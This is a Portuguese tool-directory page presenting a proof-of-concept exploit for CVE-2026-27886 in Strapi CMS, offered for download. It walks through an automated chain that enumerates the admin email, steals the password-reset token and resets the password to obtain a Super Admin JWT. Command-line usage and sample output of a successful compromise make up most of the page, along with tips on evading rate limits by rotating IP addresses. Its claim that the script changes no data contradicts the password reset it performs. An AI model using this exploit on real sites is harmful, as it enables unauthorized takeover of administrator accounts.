Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-27886-PoC-Account-Takeover — Conta total assumida — PoC completo para CVE-2026-27886 no Strapi CMS | Kitploit
Ferramentas/GitHubGitHub/thesw0rd/cve-2026-27886-poc-account-takeover
ReconhecimentoAtaques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHub

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
thesw0rd/cve-2026-27886-poc-account-takeover

CVE-2026-27886-PoC-Account-Takeover

Conta total assumida — PoC completo para CVE-2026-27886 no Strapi CMS

Ver Repositório
222há 4 mesesAinda não revisado
Compartilhar

CVE-2026-27886 Exploração Automatizada - Guia de Uso

O Que Este Script Faz

Automatiza toda a cadeia de comprometimento de conta em 4 grupos de requisições HTTP:

  1. Verificação de Vulnerabilidade - Confirma se o alvo é vulnerável
  2. Enumeração de E-mail - Extrai o e-mail do administrador via oráculo booleano (~500 requisições)
  3. Disparo de Redefinição de Senha - Inicia o fluxo de recuperação de senha do Strapi
  4. Exfiltração de Token - Rouba o token de redefinição de 40 caracteres (~320 requisições)
  5. Comprometimento de Conta - Usa o token roubado para obter o JWT de Super Admin

Uso Básico

Modo Somente Verificação (Seguro)

Verifique se o alvo é vulnerável sem explorar:

./cve-2026-27886-exploit.py https://target/api/articles --verify-only

Exploração Completa (Mais Rápida)

Automatize tudo se você não souber o e-mail do administrador:

./cve-2026-27886-exploit.py https://target/api/articles

Saída:

[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
    [+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
    [email protected]
[*] Triggering password reset for [email protected]...
    [+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
    [100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
    [+] Password reset successful!
    [+] JWT: eyJhbGciOiJIUzI1NiIs...
    [+] User: [email protected] (ID: 1)

[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Pular Enumeração de E-mail (Mais Rápido)

Se você já souber o e-mail do administrador (economiza ~500 requisições):

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected]

Senha Personalizada

Defina uma senha personalizada em vez da padrão:

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected] \
  --password "MyPassword123!"

Adicionar Atrasos (Evitar Limites de Taxa)

Se o alvo tiver limitação de requisições:

./cve-2026-27886-exploit.py https://target/api/articles \
  --delay 0.1

Isso adiciona 100ms entre cada requisição (~2-3 minutos para exploração completa).

URL Base Explícita

Se os endpoints /admin/* estiverem em um host diferente:

./cve-2026-27886-exploit.py https://api.target/articles \
  --base-url https://admin.target

Problemas Comuns

"Resposta não-JSON"

  • Endpoint errado (não é uma coleção da Strapi Content API)
  • Tente: https://target/api/products, https://target/api/articles, etc.

"Falha ao enumerar e-mail"

  • A coleção está vazia (sem chaves estrangeiras updated_by_id)
  • A função de administrador não corresponde a ninguém no banco de dados
  • Tente um endpoint diferente se houver vários

"Falha ao extrair token de redefinição"

  • A redefinição de senha não foi disparada
  • E-mail de administrador diferente do previsto
  • Token expirado (tente novamente; ele dura ~24 horas por padrão)

Sendo limitado por taxa

  • Adicione --delay 0.05 ou mais
  • Ou use uma VPN/proxy para rotacionar endereços IP

Notas de Segurança

Este script:

  • ✅ Apenas faz requisições GET/POST (sem modificação de dados)
  • ✅ Visa somente a bypass do parâmetro de consulta vulnerável do Strapi
  • ✅ Usa os endpoints legítimos de redefinição de senha do Strapi
  • ✅ Não deixa artefatos armazenados no alvo
  • ⚠️ É BARULHENTO - Faz mais de 800 requisições em sequência (óbvio nos logs)
Baixar ferramenta